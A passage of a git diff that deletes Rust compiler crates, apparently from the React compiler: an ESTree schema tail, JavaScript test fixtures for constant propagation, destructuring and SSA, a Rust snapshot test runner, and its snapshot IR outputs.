-            "skip_hermes_enum_variant": true,
-            "fields": {
-                "name": {
-                    "type": "String"
-                }
-            }
-        },
-        "StaticBlock": {
-            "skip_hermes_codegen": true,
-            "skip_hermes_enum_variant": true,
-            "fields": {
-                "body": {
-                    "type": "Vec<Statement>"
-                }
-            },
-            "TODO": "not yet supported in HermesParser"
-        },
-        "CoverTypedIdentifier": {
-            "fields": {
-                "left": {
-                    "type": "Identifier"
-                },
-                "right": {
-                    "type": "Option<TypeAnnotation>"
-                }
-            },
-            "TODO": "Non-standard HermesParser node"
-        },
-        "TSTypeAnnotation": {},
-        "TSTypeAliasDeclaration": {}
-    },
-    "enums": {
-        "Statement": [
-            "BlockStatement",
-            "BreakStatement",
-            "ClassDeclaration",
-            "ContinueStatement",
-            "DebuggerStatement",
-            "DoWhileStatement",
-            "EmptyStatement",
-            "ExpressionStatement",
-            "ForInStatement",
-            "ForOfStatement",
-            "ForStatement",
-            "FunctionDeclaration",
-            "IfStatement",
-            "LabeledStatement",
-            "ReturnStatement",
-            "SwitchStatement",
-            "ThrowStatement",
-            "TryStatement",
-            "TSTypeAliasDeclaration",
-            "VariableDeclaration",
-            "WhileStatement",
-            "WithStatement"
-        ],
-        "Expression": [
-            "ArrayExpression",
-            "ArrowFunctionExpression",
-            "AssignmentExpression",
-            "AwaitExpression",
-            "BinaryExpression",
-            "BooleanLiteral",
-            "CallExpression",
-            "ChainExpression",
-            "ClassExpression",
-            "ConditionalExpression",
-            "CoverTypedIdentifier",
-            "FunctionExpression",
-            "Identifier",
-            "ImportExpression",
-            "JSXElement",
-            "JSXFragment",
-            "Literal",
-            "LogicalExpression",
-            "MemberExpression",
-            "MetaProperty",
-            "NewExpression",
-            "NullLiteral",
-            "NumericLiteral",
-            "ObjectExpression",
-            "OptionalCallExpression",
-            "OptionalMemberExpression",
-            "RegExpLiteral",
-            "SequenceExpression",
-            "StringLiteral",
-            "TaggedTemplateExpression",
-            "TemplateLiteral",
-            "ThisExpression",
-            "UnaryExpression",
-            "UpdateExpression",
-            "YieldExpression"
-        ],
-        "_Literal": [
-            "Literal",
-            "BooleanLiteral",
-            "NullLiteral",
-            "StringLiteral",
-            "NumericLiteral"
-        ],
-        "Declaration": [
-            "ClassDeclaration",
-            "FunctionDeclaration",
-            "VariableDeclaration",
-            "TSTypeAliasDeclaration"
-        ],
-        "ImportDeclarationSpecifier": [
-            "ImportSpecifier",
-            "ImportDefaultSpecifier",
-            "ImportNamespaceSpecifier"
-        ],
-        "ModuleItem": [
-            "ImportOrExportDeclaration",
-            "Statement"
-        ],
-        "ImportOrExportDeclaration": [
-            "ImportDeclaration",
-            "ExportNamedDeclaration",
-            "ExportDefaultDeclaration",
-            "ExportAllDeclaration"
-        ],
-        "ExpressionOrSuper": [
-            "Expression",
-            "Super"
-        ],
-        "ExpressionOrSpread": [
-            "Expression",
-            "SpreadElement"
-        ],
-        "FunctionBody": [
-            "BlockStatement",
-            "Expression"
-        ],
-        "Pattern": [
-            "Identifier",
-            "ArrayPattern",
-            "ObjectPattern",
-            "RestElement",
-            "AssignmentPattern"
-        ],
-        "ForInit": [
-            "Expression",
-            "VariableDeclaration"
-        ],
-        "ForInInit": [
-            "Pattern",
-            "VariableDeclaration"
-        ],
-        "PropertyOrSpreadElement": [
-            "Property",
-            "SpreadElement"
-        ],
-        "AssignmentPropertyOrRestElement": [
-            "AssignmentProperty",
-            "RestElement"
-        ],
-        "AssignmentTarget": [
-            "Pattern",
-            "Expression"
-        ],
-        "ChainElement": [
-            "CallExpression",
-            "MemberExpression"
-        ],
-        "JSXMemberExpressionOrIdentifier": [
-            "JSXMemberExpression",
-            "JSXIdentifier"
-        ],
-        "JSXExpressionOrEmpty": [
-            "Expression",
-            "JSXEmptyExpression"
-        ],
-        "JSXAttributeOrSpread": [
-            "JSXAttribute",
-            "JSXSpreadAttribute"
-        ],
-        "JSXAttributeValue": [
-            "Literal",
-            "JSXExpressionContainer",
-            "JSXElement",
-            "JSXFragment",
-            "JSXStringLiteral"
-        ],
-        "JSXElementName": [
-            "JSXIdentifier",
-            "JSXMemberExpression",
-            "JSXNamespacedName"
-        ],
-        "JSXIdentifierOrNamespacedName": [
-            "JSXIdentifier",
-            "JSXNamespacedName"
-        ],
-        "JSXChildItem": [
-            "JSXText", 
-            "JSXStringLiteral",
-            "JSXExpressionContainer",
-            "JSXSpreadChild",
-            "JSXElement",
-            "JSXFragment"
-        ],
-        "DeclarationOrExpression": [
-            "Declaration",
-            "Expression"
-        ],
-        "ClassItem": [
-            "MethodDefinition",
-            "ClassProperty",
-            "ClassPrivateProperty",
-            "StaticBlock"
-        ],
-        "ExpressionOrPrivateIdentifier": [
-            "Expression",
-            "PrivateIdentifier",
-            "PrivateName"
-        ],
-        "TypeAnnotation": [
-            "TSTypeAnnotation"
-        ]
-    },
-    "operators": {
-        "VariableDeclarationKind": {
-            "Const": "const",
-            "Let": "let",
-            "Var": "var"
-        },
-        "PropertyKind": {
-            "Get": "get",
-            "Init": "init",
-            "Set": "set"
-        },
-        "UnaryOperator": {
-            "Delete": "delete",
-            "Minus": "-",
-            "Negation": "!",
-            "Plus": "+",
-            "Tilde": "~",
-            "Typeof": "typeof",
-            "Void": "void"
-        },
-        "UpdateOperator": {
-            "Decrement": "--",
-            "Increment": "++"
-        },
-        "BinaryOperator": {
-            "Add": "+",
-            "BinaryAnd": "&",
-            "BinaryOr": "|",
-            "BinaryXor": "^",
-            "Divide": "/",
-            "Equals": "==",
-            "Exponent": "**",
-            "GreaterThan": ">",
-            "GreaterThanOrEqual": ">=",
-            "In": "in",
-            "Instanceof": "instanceof",
-            "LessThan": "<",
-            "LessThanOrEqual": "<=",
-            "Modulo": "%",
-            "Multiply": "*",
-            "NotEquals": "!=",
-            "NotStrictEquals": "!==",
-            "ShiftLeft": "<<",
-            "ShiftRight": ">>",
-            "StrictEquals": "===",
-            "Subtract": "-",
-            "UnsignedShiftRight": ">>>"
-        },
-        "AssignmentOperator": {
-            "BinaryAndEquals": "&=",
-            "BinaryOrEquals": "|=",
-            "BinaryXorEquals": "^=",
-            "DivideEquals": "/=",
-            "Equals": "=",
-            "Exponent": "**=",
-            "MinusEquals": "-=",
-            "ModuloEquals": "%=",
-            "MultiplyEquals": "*=",
-            "PlusEquals": "+=",
-            "ShiftLeftEquals": "<<=",
-            "ShiftRightEquals": ">>=",
-            "UnsignedShiftRightEquals": ">>>=",
-            "AndEquals": "&&=",
-            "OrEquals": "||=",
-            "NullCoalescingEquals": "??="
-        },
-        "LogicalOperator": {
-            "And": "&&",
-            "NullCoalescing": "??",
-            "Or": "||"
-        },
-        "SourceType": {
-            "Script": "script",
-            "Module": "module"
-        },
-        "MethodKind": {
-            "Constructor": "constructor",
-            "Method": "method",
-            "Get": "get",
-            "Set": "set"
-        }
-    }
-}
\ No newline at end of file
diff --git a/compiler/crates/react_estree_codegen/src/lib.rs b/compiler/crates/react_estree_codegen/src/lib.rs
deleted file mode 100644
index 614f5765ab3b..000000000000
--- a/compiler/crates/react_estree_codegen/src/lib.rs
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-mod codegen;
-
-pub use codegen::{estree, estree_hermes};
diff --git a/compiler/crates/react_fixtures/Cargo.toml b/compiler/crates/react_fixtures/Cargo.toml
deleted file mode 100644
index 269465feb1e1..000000000000
--- a/compiler/crates/react_fixtures/Cargo.toml
+++ /dev/null
@@ -1,24 +0,0 @@
-[package]
-name = "react_fixtures"
-version = "0.1.0"
-publish               = false
-authors.workspace     = true
-description.workspace = true
-edition.workspace     = true
-homepage.workspace    = true
-keywords.workspace    = true
-license.workspace     = true
-repository.workspace  = true
-
-# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
-
-[dev-dependencies]
-insta = { workspace = true }
-react_estree = { workspace = true }
-react_hermes_parser = { workspace = true }
-react_hir = { workspace = true }
-react_optimization = { workspace = true }
-react_semantic_analysis = { workspace = true }
-react_ssa = { workspace = true }
-react_build_hir = { workspace = true }
-miette = { workspace = true, features = ["backtrace", "fancy"] }
diff --git a/compiler/crates/react_fixtures/README.md b/compiler/crates/react_fixtures/README.md
deleted file mode 100644
index b930e96f56ec..000000000000
--- a/compiler/crates/react_fixtures/README.md
+++ /dev/null
@@ -1,3 +0,0 @@
-# fixtures
-
-This crate is for tests only, and runs the suite of compiler fixture tests.
\ No newline at end of file
diff --git a/compiler/crates/react_fixtures/src/lib.rs b/compiler/crates/react_fixtures/src/lib.rs
deleted file mode 100644
index 22a77615600d..000000000000
--- a/compiler/crates/react_fixtures/src/lib.rs
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
diff --git a/compiler/crates/react_fixtures/tests/fixtures/constant-propagation-constant-if-condition.js b/compiler/crates/react_fixtures/tests/fixtures/constant-propagation-constant-if-condition.js
deleted file mode 100644
index 8b293b8ee58d..000000000000
--- a/compiler/crates/react_fixtures/tests/fixtures/constant-propagation-constant-if-condition.js
+++ /dev/null
@@ -1,34 +0,0 @@
-function Component() {
-  let a = 1;
-
-  let b;
-  if (a === 1) {
-    b = true;
-  } else {
-    b = false;
-  }
-
-  let c;
-  if (b) {
-    c = "hello";
-  } else {
-    c = null;
-  }
-
-  let d;
-  if (c === "hello") {
-    d = 42.0;
-  } else {
-    d = 42.001;
-  }
-
-  let e;
-  if (d === 42.0) {
-    e = "ok";
-  } else {
-    e = "nope";
-  }
-
-  // should constant-propagate to "ok"
-  return e;
-}
diff --git a/compiler/crates/react_fixtures/tests/fixtures/constant-propagation.js b/compiler/crates/react_fixtures/tests/fixtures/constant-propagation.js
deleted file mode 100644
index c7500c103b12..000000000000
--- a/compiler/crates/react_fixtures/tests/fixtures/constant-propagation.js
+++ /dev/null
@@ -1,60 +0,0 @@
-function Component(props) {
-  // global propagation
-  let a;
-  a = Math;
-  a; // Math
-
-  // primitive propagation w phi
-  let b;
-  if (props) {
-    b = true;
-  } else {
-    b = true;
-  }
-  b; // true
-
-  // primitive propagation fails if different values
-  let c;
-  if (props) {
-    c = true;
-  } else {
-    c = 42;
-  }
-  c; // <no change>
-
-  // constant evaluation
-  42 + 1; // 43
-  42 - 1; // 41
-  42 * 2; // 84
-  42 / 2; // 21
-  0 == 1; // false
-  0 != 1; // true
-  0 === 1; // false
-  0 !== 1; // true
-  0 == 0; // true
-  // TODO: unary operators
-  //   0 == -0; // false
-  //   0 != -0; // true
-  //   0 === -0; // false
-  //   0 !== -0; // true
-  NaN == NaN; // false
-  NaN != NaN; // true
-  NaN !== NaN; // true
-  NaN !== NaN; // true
-  "hello" == "hello"; // true
-  "hello" != "hello"; // false
-  "hello" === "hello"; // true
-  "hello" !== "hello"; // false
-  "hello" == "world"; // false
-  "hello" != "world"; // true
-  "hello" === "world"; // false
-  "hello" !== "world"; // true
-  true == true; // true
-  true != true; // false
-  true === true; // true
-  true !== true; // false
-
-  // constant evaluation through variable
-  let x = 5 * 60 * 60 * 1000; // 5 hours in milliseconds
-  x;
-}
diff --git a/compiler/crates/react_fixtures/tests/fixtures/destructure-array.js b/compiler/crates/react_fixtures/tests/fixtures/destructure-array.js
deleted file mode 100644
index 680fb5daec4c..000000000000
--- a/compiler/crates/react_fixtures/tests/fixtures/destructure-array.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function Component(a, b) {
-  const [c, , ...d] = a;
-  const [[[e]], ...[f]] = b;
-  return [c, d, e, f];
-}
diff --git a/compiler/crates/react_fixtures/tests/fixtures/destructure-object.js b/compiler/crates/react_fixtures/tests/fixtures/destructure-object.js
deleted file mode 100644
index 9b3a45e4d4bf..000000000000
--- a/compiler/crates/react_fixtures/tests/fixtures/destructure-object.js
+++ /dev/null
@@ -1,15 +0,0 @@
-function Component(a, b) {
-  const {
-    c,
-    d,
-    e: { e },
-    f: { _f: f },
-    g: {
-      g: {
-        g: { g, ...h },
-      },
-    },
-    ...i
-  } = a;
-  return [c, d, e, f, g, h, i];
-}
diff --git a/compiler/crates/react_fixtures/tests/fixtures/error.assign-to-global.js b/compiler/crates/react_fixtures/tests/fixtures/error.assign-to-global.js
deleted file mode 100644
index 0434032d6f6b..000000000000
--- a/compiler/crates/react_fixtures/tests/fixtures/error.assign-to-global.js
+++ /dev/null
@@ -1,3 +0,0 @@
-function foo() {
-  x = true;
-}
diff --git a/compiler/crates/react_fixtures/tests/fixtures/for-statement.js b/compiler/crates/react_fixtures/tests/fixtures/for-statement.js
deleted file mode 100644
index 180dd4d759d2..000000000000
--- a/compiler/crates/react_fixtures/tests/fixtures/for-statement.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function foo() {
-  let x = 0;
-  for (let i = 0; i < 10; i = i + 1) {
-    x = x + i;
-  }
-  return x;
-}
diff --git a/compiler/crates/react_fixtures/tests/fixtures/function-expressions.js b/compiler/crates/react_fixtures/tests/fixtures/function-expressions.js
deleted file mode 100644
index f9ee01b9e3b6..000000000000
--- a/compiler/crates/react_fixtures/tests/fixtures/function-expressions.js
+++ /dev/null
@@ -1,21 +0,0 @@
-function Component(props) {
-  const x = 2;
-  const foo = function foo(y) {
-    let a = 1;
-    let b;
-    if (a === 1) {
-      b = 5 + 3;
-    } else {
-      b = false;
-    }
-    x + y + a + b;
-    const bar = function bar(z) {
-      let c = 2;
-      let d;
-      d = 3;
-      x + y + a + b + z + c + d;
-    };
-    bar;
-    foo;
-  };
-}
diff --git a/compiler/crates/react_fixtures/tests/fixtures/identifiers.js b/compiler/crates/react_fixtures/tests/fixtures/identifiers.js
deleted file mode 100644
index def546ffd389..000000000000
--- a/compiler/crates/react_fixtures/tests/fixtures/identifiers.js
+++ /dev/null
@@ -1,16 +0,0 @@
-// import React from "react";
-
-// const FOO = false;
-
-function id(x) {
-  // React;
-  // FOO;
-  Math;
-  id;
-  let y = true;
-  y = false;
-  y;
-  let z;
-  z;
-  return x;
-}
diff --git a/compiler/crates/react_fixtures/tests/fixtures/if-statement.js b/compiler/crates/react_fixtures/tests/fixtures/if-statement.js
deleted file mode 100644
index 12e5f19ba346..000000000000
--- a/compiler/crates/react_fixtures/tests/fixtures/if-statement.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function foo(a, b, c, d) {
-  if (a) {
-    return b;
-  } else {
-    c;
-  }
-  d;
-}
diff --git a/compiler/crates/react_fixtures/tests/fixtures/simple-function.js b/compiler/crates/react_fixtures/tests/fixtures/simple-function.js
deleted file mode 100644
index ef9d16bb14f6..000000000000
--- a/compiler/crates/react_fixtures/tests/fixtures/simple-function.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function Component(a) {
-  Math;
-  let b = 0;
-  const foo = function foo_(c) {
-    let d = 1;
-    return a + b + c + d;
-  };
-  return foo();
-}
diff --git a/compiler/crates/react_fixtures/tests/fixtures/simple-ssa.js b/compiler/crates/react_fixtures/tests/fixtures/simple-ssa.js
deleted file mode 100644
index 75bb57b96710..000000000000
--- a/compiler/crates/react_fixtures/tests/fixtures/simple-ssa.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function Component(props) {
-  let a;
-  if (props) {
-    a = 1;
-  } else {
-    a = 2;
-  }
-  return a;
-}
diff --git a/compiler/crates/react_fixtures/tests/fixtures/simple.js b/compiler/crates/react_fixtures/tests/fixtures/simple.js
deleted file mode 100644
index a26662756cae..000000000000
--- a/compiler/crates/react_fixtures/tests/fixtures/simple.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function test() {
-  [true, false, null, 1, 3.14, ...["hello world!"]];
-  return 2;
-}
diff --git a/compiler/crates/react_fixtures/tests/fixtures/ssa-reassign-if.js b/compiler/crates/react_fixtures/tests/fixtures/ssa-reassign-if.js
deleted file mode 100644
index 6c8029f8403a..000000000000
--- a/compiler/crates/react_fixtures/tests/fixtures/ssa-reassign-if.js
+++ /dev/null
@@ -1,16 +0,0 @@
-function Component(a, b) {
-  let x;
-  let y = 0;
-  let z = 10;
-  if (a) {
-    x = 1;
-    if (b) {
-      z = 20;
-    } else {
-      z = 30;
-    }
-  } else {
-    x = 2;
-  }
-  return x + y + z;
-}
diff --git a/compiler/crates/react_fixtures/tests/fixtures/use-memo.js b/compiler/crates/react_fixtures/tests/fixtures/use-memo.js
deleted file mode 100644
index 27bc81a2f5ba..000000000000
--- a/compiler/crates/react_fixtures/tests/fixtures/use-memo.js
+++ /dev/null
@@ -1,8 +0,0 @@
-import { useMemo } from "react";
-
-function Component(x) {
-  const y = useMemo(() => {
-    return x;
-  });
-  return y;
-}
diff --git a/compiler/crates/react_fixtures/tests/fixtures_test.rs b/compiler/crates/react_fixtures/tests/fixtures_test.rs
deleted file mode 100644
index a3da273e718c..000000000000
--- a/compiler/crates/react_fixtures/tests/fixtures_test.rs
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use std::env;
-use std::fmt::Write;
-
-use insta::{assert_snapshot, glob};
-use miette::{NamedSource, Report};
-use react_build_hir::build;
-use react_estree::{ModuleItem, Statement};
-use react_hermes_parser::parse;
-use react_hir::{inline_use_memo, Environment, Features, Print, Registry};
-use react_optimization::constant_propagation;
-use react_semantic_analysis::analyze;
-use react_ssa::{eliminate_redundant_phis, enter_ssa};
-
-#[test]
-fn fixtures() {
-    glob!("fixtures/**.js", |path| {
-        println!("fixture {}", path.to_str().unwrap());
-        let input = std::fs::read_to_string(path).unwrap();
-        let ast = parse(&input, path.to_str().unwrap()).unwrap();
-        println!("ok parse");
-
-        let mut output = String::new();
-
-        let mut analysis = analyze(&ast, Default::default());
-        let diagnostics = analysis.diagnostics();
-        if !diagnostics.is_empty() {
-            for diagnostic in diagnostics {
-                eprintln!(
-                    "{:?}",
-                    Report::new(diagnostic)
-                        .with_source_code(NamedSource::new(path.to_string_lossy(), input.clone(),))
-                );
-            }
-        }
-        let environment = Environment::new(
-            Features {
-                validate_frozen_lambdas: true,
-            },
-            Registry,
-            analysis,
-        );
-        for (ix, item) in ast.body.iter().enumerate() {
-            if let ModuleItem::Statement(stmt) = item {
-                if let Statement::FunctionDeclaration(fun) = stmt {
-                    if ix != 0 {
-                        output.push_str("\n\n");
-                    }
-                    match build(&environment, &fun.function) {
-                        Ok(mut fun) => {
-                            println!("ok build");
-                            enter_ssa(&environment, &mut fun).unwrap();
-                            println!("ok enter_ssa");
-                            eliminate_redundant_phis(&environment, &mut fun);
-                            println!("ok eliminate_redundant_phis");
-                            constant_propagation(&environment, &mut fun).unwrap();
-                            println!("ok constant_propagation");
-                            inline_use_memo(&environment, &mut fun).unwrap();
-                            println!("ok inline_use_memo");
-                            fun.print(&fun.body, &mut output).unwrap();
-                            println!("ok print");
-                        }
-                        Err(error) => {
-                            write!(&mut output, "{}", error,).unwrap();
-                            eprintln!(
-                                "{:?}",
-                                Report::new(error).with_source_code(NamedSource::new(
-                                    path.to_string_lossy(),
-                                    input.clone(),
-                                ))
-                            );
-                            continue;
-                        }
-                    };
-                }
-            }
-        }
-
-        let output = output.trim();
-        assert_snapshot!(format!("Input:\n{input}\n\nOutput:\n{output}"));
-    });
-}
diff --git a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@constant-propagation-constant-if-condition.js.snap b/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@constant-propagation-constant-if-condition.js.snap
deleted file mode 100644
index dd9e2fb2528c..000000000000
--- a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@constant-propagation-constant-if-condition.js.snap
+++ /dev/null
@@ -1,73 +0,0 @@
----
-source: crates/react_fixtures/tests/fixtures_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_fixtures/tests/fixtures/constant-propagation-constant-if-condition.js
----
-Input:
-function Component() {
-  let a = 1;
-
-  let b;
-  if (a === 1) {
-    b = true;
-  } else {
-    b = false;
-  }
-
-  let c;
-  if (b) {
-    c = "hello";
-  } else {
-    c = null;
-  }
-
-  let d;
-  if (c === "hello") {
-    d = 42.0;
-  } else {
-    d = 42.001;
-  }
-
-  let e;
-  if (d === 42.0) {
-    e = "ok";
-  } else {
-    e = "nope";
-  }
-
-  // should constant-propagate to "ok"
-  return e;
-}
-
-
-Output:
-function Component(
-)
-entry bb0
-bb0 (block)
-  [0] unknown $39 = 1
-  [1] unknown $41 = StoreLocal Let unknown a$40 = unknown $39
-  [2] unknown $43 = DeclareLocal Let unknown b$42
-  [3] unknown $44 = 1
-  [4] unknown $45 = 1
-  [5] unknown $46 = true
-  [6] unknown $47 = true
-  [7] unknown $49 = StoreLocal Reassign unknown b$48 = unknown $47
-  [8] unknown $54 = DeclareLocal Let unknown c$53
-  [9] unknown $56 = true
-  [10] unknown $57 = "hello"
-  [11] unknown $59 = StoreLocal Reassign unknown c$58 = unknown $57
-  [12] unknown $64 = DeclareLocal Let unknown d$63
-  [13] unknown $66 = "hello"
-  [14] unknown $67 = "hello"
-  [15] unknown $68 = true
-  [16] unknown $69 = 42
-  [17] unknown $71 = StoreLocal Reassign unknown d$70 = unknown $69
-  [18] unknown $76 = DeclareLocal Let unknown e$75
-  [19] unknown $78 = 42
-  [20] unknown $79 = 42
-  [21] unknown $80 = true
-  [22] unknown $81 = "ok"
-  [23] unknown $83 = StoreLocal Reassign unknown e$82 = unknown $81
-  [24] unknown $88 = "ok"
-  [25] Return unknown $88
diff --git a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@constant-propagation.js.snap b/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@constant-propagation.js.snap
deleted file mode 100644
index a20caca2e627..000000000000
--- a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@constant-propagation.js.snap
+++ /dev/null
@@ -1,198 +0,0 @@
----
-source: crates/react_fixtures/tests/fixtures_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_fixtures/tests/fixtures/constant-propagation.js
----
-Input:
-function Component(props) {
-  // global propagation
-  let a;
-  a = Math;
-  a; // Math
-
-  // primitive propagation w phi
-  let b;
-  if (props) {
-    b = true;
-  } else {
-    b = true;
-  }
-  b; // true
-
-  // primitive propagation fails if different values
-  let c;
-  if (props) {
-    c = true;
-  } else {
-    c = 42;
-  }
-  c; // <no change>
-
-  // constant evaluation
-  42 + 1; // 43
-  42 - 1; // 41
-  42 * 2; // 84
-  42 / 2; // 21
-  0 == 1; // false
-  0 != 1; // true
-  0 === 1; // false
-  0 !== 1; // true
-  0 == 0; // true
-  // TODO: unary operators
-  //   0 == -0; // false
-  //   0 != -0; // true
-  //   0 === -0; // false
-  //   0 !== -0; // true
-  NaN == NaN; // false
-  NaN != NaN; // true
-  NaN !== NaN; // true
-  NaN !== NaN; // true
-  "hello" == "hello"; // true
-  "hello" != "hello"; // false
-  "hello" === "hello"; // true
-  "hello" !== "hello"; // false
-  "hello" == "world"; // false
-  "hello" != "world"; // true
-  "hello" === "world"; // false
-  "hello" !== "world"; // true
-  true == true; // true
-  true != true; // false
-  true === true; // true
-  true !== true; // false
-
-  // constant evaluation through variable
-  let x = 5 * 60 * 60 * 1000; // 5 hours in milliseconds
-  x;
-}
-
-
-Output:
-function Component(
-  unknown props$108,
-)
-entry bb0
-bb0 (block)
-  [0] unknown $110 = DeclareLocal Let unknown a$109
-  [1] unknown $111 = LoadGlobal Math
-  [2] unknown $113 = StoreLocal Reassign unknown a$112 = unknown $111
-  [3] unknown $114 = LoadGlobal Math
-  [4] unknown $116 = DeclareLocal Let unknown b$115
-  [5] unknown $117 = LoadLocal unknown props$108
-  [6] If unknown $117 consequent=bb2 alternate=bb3 fallthrough=bb1
-bb2 (block)
-  predecessors: bb0
-  [7] unknown $118 = true
-  [8] unknown $120 = StoreLocal Reassign unknown b$119 = unknown $118
-  [9] Goto bb1
-bb3 (block)
-  predecessors: bb0
-  [10] unknown $121 = true
-  [11] unknown $123 = StoreLocal Reassign unknown b$122 = unknown $121
-  [12] Goto bb1
-bb1 (block)
-  predecessors: bb2, bb3
-  b$124: phi(bb2: b$119, bb3: b$122)
-  [13] unknown $125 = true
-  [14] unknown $127 = DeclareLocal Let unknown c$126
-  [15] unknown $129 = LoadLocal unknown props$108
-  [16] If unknown $129 consequent=bb5 alternate=bb6 fallthrough=bb4
-bb5 (block)
-  predecessors: bb1
-  [17] unknown $130 = true
-  [18] unknown $132 = StoreLocal Reassign unknown c$131 = unknown $130
-  [19] Goto bb4
-bb6 (block)
-  predecessors: bb1
-  [20] unknown $133 = 42
-  [21] unknown $135 = StoreLocal Reassign unknown c$134 = unknown $133
-  [22] Goto bb4
-bb4 (block)
-  predecessors: bb5, bb6
-  c$136: phi(bb5: c$131, bb6: c$134)
-  [23] unknown $137 = LoadLocal unknown c$136
-  [24] unknown $138 = 42
-  [25] unknown $139 = 1
-  [26] unknown $140 = 43
-  [27] unknown $141 = 42
-  [28] unknown $142 = 1
-  [29] unknown $143 = 41
-  [30] unknown $144 = 42
-  [31] unknown $145 = 2
-  [32] unknown $146 = 84
-  [33] unknown $147 = 42
-  [34] unknown $148 = 2
-  [35] unknown $149 = 21
-  [36] unknown $150 = 0
-  [37] unknown $151 = 1
-  [38] unknown $152 = false
-  [39] unknown $153 = 0
-  [40] unknown $154 = 1
-  [41] unknown $155 = true
-  [42] unknown $156 = 0
-  [43] unknown $157 = 1
-  [44] unknown $158 = false
-  [45] unknown $159 = 0
-  [46] unknown $160 = 1
-  [47] unknown $161 = true
-  [48] unknown $162 = 0
-  [49] unknown $163 = 0
-  [50] unknown $164 = true
-  [51] unknown $165 = LoadGlobal NaN
-  [52] unknown $166 = LoadGlobal NaN
-  [53] unknown $167 = Binary unknown $165 == unknown $166
-  [54] unknown $168 = LoadGlobal NaN
-  [55] unknown $169 = LoadGlobal NaN
-  [56] unknown $170 = Binary unknown $168 != unknown $169
-  [57] unknown $171 = LoadGlobal NaN
-  [58] unknown $172 = LoadGlobal NaN
-  [59] unknown $173 = Binary unknown $171 !== unknown $172
-  [60] unknown $174 = LoadGlobal NaN
-  [61] unknown $175 = LoadGlobal NaN
-  [62] unknown $176 = Binary unknown $174 !== unknown $175
-  [63] unknown $177 = "hello"
-  [64] unknown $178 = "hello"
-  [65] unknown $179 = true
-  [66] unknown $180 = "hello"
-  [67] unknown $181 = "hello"
-  [68] unknown $182 = false
-  [69] unknown $183 = "hello"
-  [70] unknown $184 = "hello"
-  [71] unknown $185 = true
-  [72] unknown $186 = "hello"
-  [73] unknown $187 = "hello"
-  [74] unknown $188 = false
-  [75] unknown $189 = "hello"
-  [76] unknown $190 = "world"
-  [77] unknown $191 = false
-  [78] unknown $192 = "hello"
-  [79] unknown $193 = "world"
-  [80] unknown $194 = true
-  [81] unknown $195 = "hello"
-  [82] unknown $196 = "world"
-  [83] unknown $197 = false
-  [84] unknown $198 = "hello"
-  [85] unknown $199 = "world"
-  [86] unknown $200 = true
-  [87] unknown $201 = true
-  [88] unknown $202 = true
-  [89] unknown $203 = true
-  [90] unknown $204 = true
-  [91] unknown $205 = true
-  [92] unknown $206 = false
-  [93] unknown $207 = true
-  [94] unknown $208 = true
-  [95] unknown $209 = true
-  [96] unknown $210 = true
-  [97] unknown $211 = true
-  [98] unknown $212 = false
-  [99] unknown $213 = 5
-  [100] unknown $214 = 60
-  [101] unknown $215 = 300
-  [102] unknown $216 = 60
-  [103] unknown $217 = 18000
-  [104] unknown $218 = 1000
-  [105] unknown $219 = 18000000
-  [106] unknown $221 = StoreLocal Let unknown x$220 = unknown $219
-  [107] unknown $222 = 18000000
-  [108] unknown $223 = <undefined>
-  [109] Return unknown $223
diff --git a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@destructure-array.js.snap b/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@destructure-array.js.snap
deleted file mode 100644
index 7d23aedac10a..000000000000
--- a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@destructure-array.js.snap
+++ /dev/null
@@ -1,33 +0,0 @@
----
-source: crates/react_fixtures/tests/fixtures_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_fixtures/tests/fixtures/destructure-array.js
----
-Input:
-function Component(a, b) {
-  const [c, , ...d] = a;
-  const [[[e]], ...[f]] = b;
-  return [c, d, e, f];
-}
-
-
-Output:
-function Component(
-  unknown a$22,
-  unknown b$23,
-)
-entry bb0
-bb0 (block)
-  [0] unknown $24 = LoadLocal unknown a$22
-  [1] unknown $27 = Destructure [ unknown c$25, <hole>, ...unknown d$26 ] = unknown $24
-  [2] unknown $28 = LoadLocal unknown b$23
-  [3] unknown $31 = Destructure [ unknown $29, ...unknown $30 ] = unknown $28
-  [4] unknown $33 = Destructure [ unknown $32 ] = unknown $29
-  [5] unknown $35 = Destructure [ unknown e$34 ] = unknown $32
-  [6] unknown $37 = Destructure [ unknown f$36 ] = unknown $30
-  [7] unknown $38 = LoadLocal unknown c$25
-  [8] unknown $39 = LoadLocal unknown d$26
-  [9] unknown $40 = LoadLocal unknown e$34
-  [10] unknown $41 = LoadLocal unknown f$36
-  [11] unknown $42 = Array [unknown $38, unknown $39, unknown $40, unknown $41]
-  [12] Return unknown $42
diff --git a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@destructure-object.js.snap b/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@destructure-object.js.snap
deleted file mode 100644
index 9d4dba953dcf..000000000000
